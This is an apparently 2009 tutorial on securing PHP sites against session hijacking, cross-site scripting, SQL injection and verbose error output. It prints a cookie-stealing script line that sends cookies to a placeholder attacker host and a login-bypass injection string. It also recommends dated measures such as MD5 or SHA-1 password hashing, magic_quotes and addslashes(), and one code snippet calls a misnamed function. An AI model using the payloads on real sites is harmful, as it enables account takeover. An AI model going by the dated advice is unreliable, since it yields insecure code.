Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user’s session, but if this ID is known to another user, that person can hijack the user’s session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.

For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.

A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.

If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that’s keyed to the session ID rather than as a session variable. If you must store a password in a session variable, do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.

if ($_SESSION[password] == $userpass) { // do sensitive things here }

The above code is not secure, since the password is stored in plain text in a session variable.

Instead, use code more like this:
if ($_SESSION[sha1password] == sha1($userpass)) { // do sensitive things here }

The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must — since it’s superior to a clear text-saved password — but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.

For further reading on hash collisions, among other security related topics, Bruce Schneier’s Website is a great resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands — usually JavaScript — in data that is displayed and therefore executed by another user.

For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a script tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users’ cookie and session information, and use this data in a session hijacking or other attack on your site.

document.location = ‘http://www.badguys.com/cgi-bin/cookie.php?’ + document.cookie;
To prevent this type of attack, you must perform user input validation by disallowing any script tags from being submitted to your forms. Always convert the characters in user input that may be viewed by other users to < and >. Additionally, it may be wise to convert the parenthesis, ampersand, and hash (#) characters to their HTML entity equivalents.

SQL Insertion Vulnerabilities

SQL insertion vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.

SELECT * FROM users WHERE name=’$username’ AND pass=’$password’;
However, if the user who’s logging in is devious, he may enter the following as his password:
‘ OR ‘1′=’1

This results in the query being sent to the database as:
SELECT * FROM users WHERE name=’known_user’ AND pass='’ OR ‘1′=’1′;
This will return the username without validating the password — the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, ensure that your magic_quotes_gpc PHP ini variable is turned on, which is the default in most recently released versions of PHP. If you’re developing software that may be installed on shared servers where the end user might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned off, pass any user input that will be used in a database query through the addslashes() function, as shown below.
if (magic_quotes_gpc()){
$username = $_GET[”username”];
} else {
$username = addslashes($_GET[”username”]); }

Do not use addslashes() on your input if magic_quotes_gpc is on, as this will double escape your input and lead to problems.
SQL Insertion flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.

You should always check user-provided data that will be used in a query for the characters ‘”,;() and, possibly, for the keywords “FROM”, “LIKE”, and “WHERE” in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they’re unnecessary, you’ll have much less to worry about from this type of flaw.

Error Reporting

You should ensure that your display_errors php.ini value is set to “0″. Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user’s browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.

The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.

Instead of displaying errors, set the error_log ini variable to “1″ and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
December 2009
S M T W T F S
November 2009January 2010
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31